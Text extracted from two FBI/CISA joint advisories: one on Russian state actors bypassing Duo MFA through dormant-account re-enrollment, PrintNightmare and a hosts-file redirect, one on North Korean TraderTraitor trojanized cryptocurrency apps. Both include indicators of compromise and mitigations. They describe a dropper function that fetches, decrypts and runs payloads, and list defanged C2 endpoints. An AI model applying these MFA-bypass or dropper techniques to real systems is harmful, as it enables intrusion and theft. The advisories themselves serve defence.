(CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. TLP:WHITE FBI | CISA TLP:WHITE FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this advisory, including the following: Enforce MFA and review configuration policies to protect against fail open and re-enrollment scenarios. Ensure inactive accounts are disabled uniformly across the Active Directory and MFA systems. Patch all systems. Prioritize patching for known exploited vulnerabilities. For more general information on Russian state-sponsored malicious cyber activity, see CISA's Russia Cyber Threat Overview and Advisories webpage. For more information on the threat of Russian statesponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure and CISA s Shields Up Technical Guidance webpage. For a downloadable copy of IOCs, see AA22-074A.stix. TECHNICAL DETAILS Threat Actor Activity Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 10. See appendix A for a table of the threat actors activity mapped to MITRE ATT&CK tactics and techniques. As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an NGO, exploit a flaw in default MFA protocols, and move laterally to the NGO s cloud environment. Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via compromised credentials [T1078] and enrolling a new device in the organization s Duo MFA. The actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001], allowing them access to a victim account with a simple, predictable password. The victim account had been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active Directory. As Duo s default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network. Using the compromised account, Russian state-sponsored cyber actors performed privilege escalation [TA0004] via exploitation of the PrintNightmare vulnerability (CVE-2021-34527) [T1068] to obtain administrator privileges. The actors also modified a domain controller file, c:\windows\system32\drivers\etc\hosts, redirecting Duo MFA calls to localhost instead of the Duo server [T1556]. This change prevented the MFA service from contacting its server to validate MFA login this effectively disabled MFA for active domain accounts because the default policy of Duo for Windows is to fail open if the MFA server is unreachable. Note: Fail open can happen to any MFA implementation and is not exclusive to Duo. After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully authenticate to the victim s virtual private network (VPN) as non-administrator users and make Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133]. The actors ran Page 2 of 7 | Product ID: AA22-074A TLP:WHITE FBI | CISA TLP:WHITE commands to obtain credentials for additional domain accounts; then, using the method described in the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly compromised accounts. The actors leveraged mostly internal Windows utilities already present within the victim network to perform this activity. Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors were able to move laterally [TA0008] to the victim s cloud storage and email accounts and access desired content. Indicators of Compromise Russian state-sponsored cyber actors executed the following processes: ping.exe A core Windows Operating System process used to perform the Transmission Control Protocol (TCP)/IP Ping command; used to test network connectivity to a remote host [T1018] and is frequently used by actors for network discovery [TA0007]. regedit.exe A standard Windows executable file that opens the built-in registry editor [T1112]. rar.exe A data compression, encryption, and archiving tool [T1560.001]. Malicious cyber actors have traditionally sought to compromise MFA security protocols as doing so would provide access to accounts or information of interest. ntdsutil.exe A command-line tool that provides management facilities for Active Directory Domain Services. It is possible this tool was used to enumerate Active Directory user accounts [T1003.003]. Actors modified the c:\windows\system32\drivers\etc\hosts file to prevent communication with the Duo MFA server: 127.0.0.1 api-.duosecurity.com The following access device IP addresses used by the actors have been identified to date: 45.32.137[.]94 191.96.121[.]162 173.239.198[.]46 157.230.81[.]39 MITIGATIONS The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber actors exploiting default MFA protocols and exfiltrating sensitive information. Organizations should: Enforce MFA for all users, without exception. Before implementing, organizations should review configuration policies to protect against fail open and re-enrollment scenarios. Implement time-out and lock-out features in response to repeated failed login attempts. Page 3 of 7 | Product ID: AA22-074A TLP:WHITE FBI | CISA TLP:WHITE Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems etc. Update software, including operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially critical and high vulnerabilities that allow for remote code execution or denial-of-service on internetfacing equipment. Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to have strong, unique passwords. Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access. Continuously monitor network logs for suspicious activity and unauthorized or unusual login attempts. Implement security alerting policies for all changes to security-enabled accounts/groups, and alert on suspicious process creation events (ntdsutil, rar, regedit, etc.). Note: If a domain controller compromise is suspected, a domain-wide password reset including service accounts, Microsoft 365 (M365) synchronization accounts, and krbtgt will be necessary to remove the actors access. (For more information, see https://docs.microsoft.com/en-us/answers/questions/87978/resetkrbtgt-password.html). Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation. FBI and CISA also recommend organizations implement the recommendations listed below to further reduce the risk of malicious cyber activity. Security Best Practices Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB) Signing, restrict Administrative privileges (local admin users, groups, etc.), and review sensitive materials on domain controller s SYSVOL share. Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint detection and response (EDR) are deployed to all endpoints and enabled. Routinely verify no unauthorized system modifications, such as additional accounts and Secure Shell (SSH) keys, have occurred to help detect a compromise. To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system. Network Best Practices Monitor remote access/RDP logs and disable unused remote access/RDP ports. Deny atypical inbound activity from known anonymization services, to include commercial VPN services and The Onion Router (TOR). Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy. Page 4 of 7 | Product ID: AA22-074A TLP:WHITE FBI | CISA TLP:WHITE Regularly audit administrative user accounts and configure access control under the concept of least privilege. Regularly audit logs to ensure new accounts are legitimate users. Scan networks for open and listening ports and mediate those that are unnecessary. Maintain historical network activity logs for at least 180 days, in case of a suspected compromise. Identify and create offline backups for critical assets. Implement network segmentation. Automatically update anti-virus and anti-malware solutions and conduct regular virus and malware scans. Remote Work Environment Best Practices With the increased use of remote work environments and VPN services, the FBI and CISA encourage organizations to implement the following best practices to improve network security: Regularly update VPNs, network infrastructure devices, and devices used for remote work environments with the latest software patches and security configurations. When possible, implement multi-factor authentication on all VPN connections. Physical security tokens are the most secure form of MFA, followed by authenticator applications. When MFA is unavailable, require employees engaging in remote work to use strong passwords. Monitor network traffic for unapproved and unexpected protocols. Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a point of entry for cyber actors. User Awareness Best Practices Cyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity. The FBI and CISA recommend the following best practices to improve employee operations security when conducting business: Provide end-user awareness and training. To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and delivery methods. Also, provide users with training on information security principles and techniques. Inform employees of the risks associated with posting detailed career information to social or professional networking sites. Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyber incident, to help quickly and efficiently identify threats and employ mitigation strategies. Page 5 of 7 | Product ID: AA22-074A TLP:WHITE TLP:WHITE FBI | CISA INFORMATION REQUESTED All organizations should report incidents and anomalous activity to the FBI via your local FBI field office or the FBI s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov and/or CISA s 24/7 Operations Center at report@cisa.gov or (888) 282-0870. Page 6 of 7 | Product ID: AA22-074A TLP:WHITE FBI | CISA TLP:WHITE APPENDIX A: THREAT ACTOR TACTICS AND TECHNIQUES See table 1 for the threat actors tactics and techniques identified in this CSA. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques. Table 1: Threat Actor MITRE ATT&CK Tactics and Techniques Tactic Technique Initial Access [TA0001] Valid Accounts [T1078] Persistence [TA0003] External Remote Services [T1133] Modify Authentication Process [T1556] Privilege Escalation [TA0004] Exploitation for Privilege Escalation [T1068] Defense Evasion [TA0005] Modify Registry [T1112] Credential Access [TA0006] Brute Force: Password Guessing [T1110.001] OS Credential Dumping: NTDS [T1003.003] Discovery [TA0007] Remote System Discovery [T1018] Lateral Movement [TA0008] Collection [TA0009] Archive Collected Data: Archive via Utility [T1560.001] Page 7 of 7 | Product ID: AA22-074A TLP:WHITE Co-Authored by: TLP:WHITE Product ID: A22-108A April 18, 2022 TraderTraitor: North Korean State-Sponsored APT Targets Blockchain Companies SUMMARY Actions to take today to mitigate The Federal Bureau of Investigation (FBI), the cyber threats to cryptocurrency: Cybersecurity and Infrastructure Security Agency (CISA), and the U.S. Treasury Department (Treasury) are issuing Patch all systems. this joint Cybersecurity Advisory (CSA) to highlight the Prioritize patching known cyber threat associated with cryptocurrency thefts and exploited vulnerabilities. tactics used by a North Korean state-sponsored advanced Train users to recognize and persistent threat (APT) group since at least 2020. This report phishing attempts. group is commonly tracked by the cybersecurity industry as Use multifactor authentication. Lazarus Group, APT38, BlueNoroff, and Stardust Chollima. For more information on North Korean state-sponsored malicious cyber activity, visit https://www.us-cert.cisa.gov/northkorea. The U.S. government has observed North Korean cyber actors targeting a variety of organizations in the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges, decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency trading companies, venture capital funds investing in cryptocurrency, and individual holders of large amounts of cryptocurrency or valuable non-fungible tokens (NFTs). The activity described in this advisory involves social engineering of victims using a variety of communication platforms to encourage individuals to download trojanized cryptocurrency applications on Windows or macOS operating systems. The cyber actors then use the applications to gain access to the victim To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. DISCLAIMER: The information in this advisory is provided "as is" for informational purposes only. The FBI, CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov/tlp/. TLP:WHITE FBI | CISA | Treasury TLP:WHITE computer, propagate malware across the victim s network environment, and steal private keys or exploit other security gaps. These activities enable additional follow-on activities that initiate fraudulent blockchain transactions. The U.S. government previously published an advisory about North Korean state-sponsored cyber actors using AppleJeus malware to steal cryptocurrency: AppleJeus: Analysis of North Korea Cryptocurrency Malware. The U.S. government has also previously published advisories about North Korean state-sponsored cyber actors stealing money from banks using custom malware: HIDDEN COBRA FASTCash Campaign FASTCash 2.0: North Korea s BeagleBoyz Robbing Banks This advisory provides information on tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to stakeholders in the blockchain technology and cryptocurrency industry to help them identify and mitigate cyber threats against cryptocurrency. TECHNICAL DETAILS Threat Update The U.S. government has identified a group of North Korean state-sponsored malicious cyber actors using tactics similar to the previously identified Lazarus Group (see AppleJeus: Analysis of North Korea s Cryptocurrency Malware). The Lazarus Group used AppleJeus trojanized cryptocurrency applications targeting individuals and companies including cryptocurrency exchanges and financial services companies through the dissemination of cryptocurrency trading applications that were modified to include malware that facilitates theft of cryptocurrency. As of April 2022, North Korea Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency. These actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime. Tactics, Techniques and Procedures Intrusions begin with a large number of spearphishing messages sent to employees of cryptocurrency companies often working in system administration or software development/IT operations (DevOps) on a variety of communication platforms. The messages often mimic a recruitment effort and offer high-paying jobs to entice the recipients to download malware-laced cryptocurrency applications, which the U.S. government refers to as "TraderTraitor." The term TraderTraitor describes a series of malicious applications written using cross-platform JavaScript code with the Node.js runtime environment using the Electron framework. The malicious applications are derived from a variety of open-source projects and purport to be cryptocurrency trading or price prediction tools. TraderTraitor campaigns feature websites with modern design advertising the alleged features of the applications (see figure 1). Page 2 of 14 | Product ID: A22-108A TLP:WHITE FBI | CISA | Treasury TLP:WHITE Figure 1: Screenshot of CryptAIS website The JavaScript code providing the core functions of the software is bundled with Webpack. Within the code is a function that purports to be an update, with a name such as UpdateCheckSync(), that downloads and executes a malicious payload (see figure 2). The update function makes an HTTP POST request to a PHP script hosted on the TraderTraitor project s domain at either the endpoint /update/ or /oath/checkupdate.php. In recent variants, the server s response is parsed as a JSON document with a key-value pair, where the key is used as an AES 256 encryption key in Cipher Block Chaining (CBC) or Counter (CTR) mode to decrypt the value. The decrypted data is written as a file to the system s temporary directory, as provided by the os.tmpdir() method of Node.js, and executed using the child_process.exec() method of Node.js, which spawns a shell as a child process of the current Electron application. The text Update Finished is then logged to the shell for the user to see. Observed payloads include updated macOS and Windows variants of Manuscrypt, a custom remote access trojan (RAT), that collects system information and has the ability to execute arbitrary commands and download additional payloads (see North Korean Remote Access Tool: COPPERHEDGE). Post-compromise activity is tailored specifically to the victim s environment and at times has been completed within a week of the initial intrusion. Page 3 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury Figure 2: Screenshot depicting the UpdateCheckSync() and supporting functions bundled within 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 associated with DAFOM Page 4 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury Indicators of Compromise DAFOM DAFOM purports to be a cryptocurrency portfolio application. A Mach-O binary packaged within the Electron application was signed by an Apple digital signature issued for the Apple Developer Team W58CYKFH67. The certificate associated with Apple Developer Team W58CYKFH67 has been revoked. A metadata file packaged in the DAFOM application provided the URL hxxps://github[.]com/dafomdev for bug reports. As of April 2022, this page was unavailable. dafom[.]dev Information as of February 2022: IP Address: 45.14.227[.]58 Registrar: NameCheap, Inc. Created: February 7, 2022 Expires: February 7, 2023 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 Tags: dropper macos Name: DAFOM-1.0.0.dmg Size: 87.91 MB (92182575 bytes) MD5: c2ea5011a91cd59d0396eb4fa8da7d21 SHA-1: b2d9ca7b6d1bbbe4864ea11dfca343b7e15597d8 SHA-256: 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 ssdeep: 1572864:LGLBnolF9kPEiKOabR2QEs1B1/LuUQrbecE6Xwijkca/pzpfaLtIP:LGVnoT9kPZK9tVEwBxW becR5Faxzpf0M TokenAIS TokenAIS purports to help build a portfolio of AI-based trading for cryptocurrencies. Mach-O binaries packaged within the Electron application contained an Apple digital signature issued for the Apple Developer Team RN4BTXA4SA. The certificate associated with Apple Developer Team RN4BTXA4SA has been revoked. The application requires users to register an account by entering an email address and a password to use its features. The malicious TraderTraitor code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is bundled in a file called renderer.prod.js, which is in an archive called app.asar. This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CBC mode with the hardcoded initialization vector (IV) !@34QWer%^78TYui and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell. tokenais[.]com Information as of January 2022: IP Address: 199.188.103[.]115 Page 5 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury Registrar: NameCheap, Inc. Created: January 27, 2022 Expires: January 27, 2023 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03 Tags: dropper macos Name: TokenAIS.app.zip Size: 118.00 MB (123728267 bytes) MD5: 930f6f729e5c4d5fb52189338e549e5e SHA-1: 8e67006585e49f51db96604487138e688df732d3 SHA-256: 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03 ssdeep: 3145728:aMFJlKVvw4+zLruAsHrmo5Vvw4+zLruAsHrmob0dC/E:aUlKtw4+/r2HNtw4+/r2HnMCM CryptAIS CryptAIS uses the same language as TokenAIS to advertise that it helps build a portfolio of AI-based trading. It is distributed as an Apple Disk Image (DMG) file that is digitally signed by an Apple digital signature issued for the Apple Developer Team CMHD64V5R8. The certificate associated with Apple Developer Team CMHD64V5R8 has been revoked. The application requires users to register account by entering an email address and a password to use its features. The malicious TraderTraitor code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is bundled in a file called renderer.prod.js, which is in an archive called app.asar. This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CTR mode and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell. cryptais[.]com Information as of August 2021: IP Address: 82.102.31.14 Registrar: NameCheap, Inc. Created: August 2, 2021 Expires: August 2, 2022 f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b Tags: dropper macos Name: CryptAIS[.]dmg Size: 80.36 MB (84259810 bytes) MD5: 4e5ebbecd22c939f0edf1d16d68e8490 SHA-1: f1606d4d374d7e2ba756bdd4df9b780748f6dc98 SHA-256: f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b Page 6 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury ssdeep: 1572864:jx9QOwiLDCUrJXsKMoGTwiCcKFI8jmrvGqjL2hX6QklBmrZgkZjMz+dPSpR0Xcpk:F9QOTP CUrdsKEw3coIg2Or6XBmrZgkZw AlticGO AlticGO was observed packaged as Nullsoft Scriptable Install System (NSIS) Windows executables that extracted an Electron application packaged for Windows. These executables contain a simpler version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js, which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an external function located in a file node_modules/request/index.js bundled in renderer.prod.js to make an HTTP request to hxxps://www.alticgo[.]com/update/. One AlticGO sample, e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad, instead contacts hxxps://www.esilet[.]com/update/ (see below for more information about Esilet). Some image resources bundled with the application included the CreAI Deck logo (see below for more information about CreAI Deck). The response is written to disk and executed in a new shell using the child_process.exec() method in Node.js. Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload. alticgo[.]com Information as of August 2020: IP Address: 108.170.55[.]202 Registrar: NetEarth One Inc. Created: August 8, 2020 Expires: August 8, 2021 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819 Tags: dropper peexe nsis Name: AlticGO.exe Size: 43.54 MB (45656474 bytes) MD5: 1c7d0ae1c4d2c0b70f75eab856327956 SHA-1: f3263451f8988a9b02268f0fb6893f7c41b906d9 SHA-256: 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819 ssdeep: 786432:optZmVDkD1mZ1FggTqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yVPUXi7:opzKD ginspAU6JXnJ46X+eC6cySihWVX Compilation timestamp: 2018-12-15 22:26:14 UTC e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad Tags: dropper peexe nsis Name: AlticGO_R.exe Size: 44.58 MB (46745505 bytes) MD5: 855b2f4c910602f895ee3c94118e979a Page 7 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury SHA-1: ff17bd5abe9f4939918f27afbe0072c18df6db37 SHA-256: e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad ssdeep: 786432:LptZmVDkD1mQIiXUBkRbWGtqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yH:LpzK DgzRpWGwpAU6JXnJ46X+eC6cySiI Compilation timestamp: 2020-02-12 16:15:17 UTC 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925 Tags: dropper peexe nsis Name: AlticGO.exe Size: 44.58 MB (46745644 bytes) MD5: 9a6307362e3331459d350a201ad66cd9 SHA-1: 3f2c1e60b5fac4cf1013e3e1fc688be490d71a84 SHA-256: 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925 ssdeep: 786432:AptZmVDkD1mjPNDeuxOTKQqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yV7:Apz KDgqPxeuLpAU6JXnJ46X+eC6cySiG Compilation timestamp: 2020-02-12 16:15:17 UTC Esilet Esilet claims to offer live cryptocurrency prices and price predictions. It contains a simpler version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js, which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an external function located in a file node_modules/request/index.js bundled in renderer.prod.js to make an HTTP request to hxxps://www.esilet[.]com/update/. The response is written to disk and executed in a new shell using the child_process.exec() method in Node.js. Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload. Esilet has been observed delivering payloads of at least two different macOS variants of Manuscrypt, 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa and dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156. Page 8 of 14 | Product ID: A22-108A TLP:WHITE FBI | CISA | Treasury TLP:WHITE Figure 3: Screenshot of the UpdateCheckSync() function in Esilet esilet[.]com Information as of June 2020: IP Address: 104.168.98[.]156 Registrar: NameSilo, LLC Created: June 12, 2020 Expires: June 12, 2021 greenvideo[.]nl Likely legitimate but compromised. Information as of April 2022: IP Address: 62.84.240[.]140 Registrar: Flexwebhosting Created: February 26, 2018 Expires: Unknown dafnefonseca[.]com Likely legitimate but compromised. Information as of June 2020: IP Address: 151.101.64[.]119 Registrar: PublicDomainRegistry Page 9 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury Created: August 27, 2019 Expires: August 27, 2022 haciendadeclarevot[.]com Likely legitimate but compromised. Information as of June 2020: IP Address: 185.66.41[.]17 Registrar: cdmon, 10DENCEHISPAHARD, S.L. Created: March 2, 2005 Expires: March 2, 2023 sche-eg[.]org Likely legitimate but compromised. Information as of June 2020: IP Address: 160.153.235[.]20 Registrar: GoDaddy.com, LLC Created: June 1, 2019 Expires: June 1, 2022 www.vinoymas[.]ch Likely legitimate but compromised. Information as of June 2020: IP Address: 46.16.62[.]238 Registrar: cdmon, 10DENCEHISPAHARD, S.L. Created: January 24, 2010 Expires: Unknown infodigitalnew[.]com Likely legitimate but compromised. Information as of June 2020: IP Address: 107.154.160[.]132 Registrar: PublicDomainRegistry Created: June 20, 2020 Expires: June 20, 2022 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 Tags: dropper macos Name: Esilet.dmg Size: 77.90 MB (81688694 bytes) MD5: 53d9af8829a9c7f6f177178885901c01 SHA-1: ae9f4e39c576555faadee136c6c3b2d358ad90b9 SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 ssdeep: 1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CY EshLqcuAX0I0 Page 10 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa Tags: trojan macho Name: Esilet-tmpzpsb3 Size: 510.37 KB (522620 bytes) MD5: 1ca31319721740ecb79f4b9ee74cd9b0 SHA-1: 41f855b54bf3db621b340b7c59722fb493ba39a5 SHA-256: 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa ssdeep: 6144:wAulcT94T94T97zDj1I/BkjhkbjZ8bZ87ZMSj71obV/7NobNo7NZTb7hMT5ETZ8I:wDskT1UBg2lir FbpR9mJGpmN C2 Endpoints: hxxps://greenvideo[.]nl/wp content/themes/top.php hxxps://dafnefonseca[.]com/wp content/themes/top.php hxxps://haciendadeclarevot[.]com/wp content/top.php dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 Tags: trojan macho Name: Esilet-tmpg7lpp Size: 38.24 KB (39156 bytes) MD5: 9578c2be6437dcc8517e78a5de1fa975 SHA-1: d2a77c31c3e169bec655068e96cf4e7fc52e77b8 SHA-256: dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 ssdeep: 384:sdaWs0fDTmKnY4FPk6hTyQUitnI/kmCgr7lUryESll4yg9RpEwrUifJ8ttJOdy:sdayCkY4Fei9mhy/L9 RBrny6y C2 Endpoints: hxxps://sche eg[.]org/plugins/top.php hxxps://www.vinoymas[.]ch/wp content/plugins/top.php hxxps://infodigitalnew[.]com/wp content/plugins/top.php CreAI Deck CreAI Deck claims to be a platform for artificial intelligence and deep learning. No droppers for it were identified, but the filenames of the below samples, win32.bin and darwin64.bin, match the naming conventions used by other versions of TraderTraitor when downloading a payload. Both are samples of Manuscrypt that contact hxxps://aideck[.]net/board.php for C2 using HTTP POST requests with multipart/form data Content-Types. creaideck[.]com Information as of March 2020: IP Address: 38.132.124[.]161 Registrar: NameCheap, Inc. Created: March 9, 2020 Page 11 of 14 | Product ID: A22-108A TLP:WHITE TLP:WHITE FBI | CISA | Treasury Expires: March 9, 2021 aideck[.]net Information as of June 2020: IP Address: 89.45.4[.]151 Registrar: NameCheap, Inc. Created: June 22, 2020 Expires: June 22, 2021 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36 Tags: trojan peexe Name: win32.bin Size: 2.10 MB (2198684 bytes) MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d SHA-1: d5ff73c043f3bb75dd749636307500b60a436550 SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36 ssdeep: 24576:y3SY+/2M3BMr7cdgSLBjbr4nzzy95VV7cEXV:ESZ2ESrHSV3D95oA Compilation timestamp: 2020-06-23 06:06:35 UTC 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957 Tags: trojan macho Name: darwin64.bin Size: 6.44 MB (6757832 bytes) MD5: 8397ea747d2ab50da4f876a36d673272 SHA-1: 48a6d5141e25b6c63ad8da20b954b56afe589031 SHA-256: 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957 ssdeep: 49152:KIH1kEh7zIXlDYwVhb26hRKtRwwfs62sRAdNhEJNDvOL3OXl5zpF+FqBNihzTvff:KIH1kEhI1L OJtm2spB Page 12 of 14 | Product ID: A22-108A TLP:WHITE FBI | CISA | Treasury TLP:WHITE MITIGATIONS North Korean state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest, acquire sensitive cryptocurrency-intellectual property, and gain financial assets. The U.S. government recommends implementing mitigations to protect critical infrastructure organizations as well as financial sector organizations in the blockchain technology and cryptocurrency industry. Apply defense-in-depth security strategy. Apply security principles such as least access models and defense-in-depth to user and application privileges to help prevent exploitation attempts from being successful. Use network segmentation to separate networks into zones based on roles and requirements. Separate network zones can help prevent lateral movement throughout the organization and limit the attack surface. See NSA s Top Ten Cybersecurity Mitigation Strategies for strategies enterprise organizations should use to build a defense-indepth security posture. Implement patch management. Initial and follow-on exploitation involves leveraging common vulnerabilities and exposures (CVEs) to gain access to a networked environment. Organizations should have a timely vulnerability and patch management program in place to mitigate exposure to critical CVEs. Prioritize patching of internet-facing devices and monitored accordingly for any malicious logic attacks. Enforce credential requirements and multifactor authentication. North Korean malicious cyber actors continuously target user credentials, email, social media, and private business accounts. Organizations should ensure users change passwords regularly to reduce the impact of password spraying and other brute force techniques. The U.S. government recommends organizations implement and enforce multifactor authentication (MFA) to reduce the risk of credential theft. Be aware of MFA interception techniques for some MFA implementations and monitor for anomalous logins. Educate users on social engineering on social media and spearphishing. North Korean actors rely heavily on social engineering, leveraging email and social media platforms to build trust and send malicious documents to unsuspecting users. A cybersecurity aware workforce is one of the best defenses against social engineering techniques like phishing. User training should include how to identify social engineering techniques and awareness to only open links and attachments from trusted senders. Implement email and domain mitigations. Maintain awareness of themed emails surrounding current events. Malicious cyber actors use current events as lure for potential victims as observed during the COVID-19 pandemic. Organizations should have a robust domain security solution that includes leveraging reputation checks and closely monitoring or blocking newly registered domains (NRDs) in enterprise traffic. NRDs are commonly established by threat actors prior to malicious engagement. o HTML and email scanning. Organizations should disable HTML from being used in emails and scan email attachments. Embedded scripts may be hard for an antivirus product to detect if they are fragmented. An additional malware scanning interface product can be integrated to combine potentially malicious payloads and send the payload to the primary antivirus product. Hyperlinks in emails should also be scanned Page 13 of 14 | Product ID: A22-108A TLP:WHITE FBI | CISA | Treasury TLP:WHITE and opened with precautionary measures to reduce the likelihood of a user clicking on a malicious link. Endpoint protection. Although network security is critical, devices mobility often means traveling and connecting to multiple different networks that offer varying levels of security. To reduce the risk of introducing exposed hosts to critical networks, organizations should ensure mobile devices have installed security suites to detect and mitigate malware. Enforce application security. Application allowlisting enables the organization to monitor programs and only allow those on the approved allowlist to execute. Allowlisting helps to stop the initial attack, even if the user clicks a malicious link or opens a malicious attachment. Implement baseline rule sets, such as NSA s Limiting Location Data Exposure guidance, to block execution of unauthorized or malicious programs. o Disable macros in office products. Macros are a common method for executing code through an attached office document. Some office products allow for the disabling of macros that originate from outside of the organization, providing a hybrid approach when the organization depends on the legitimate use of macros. 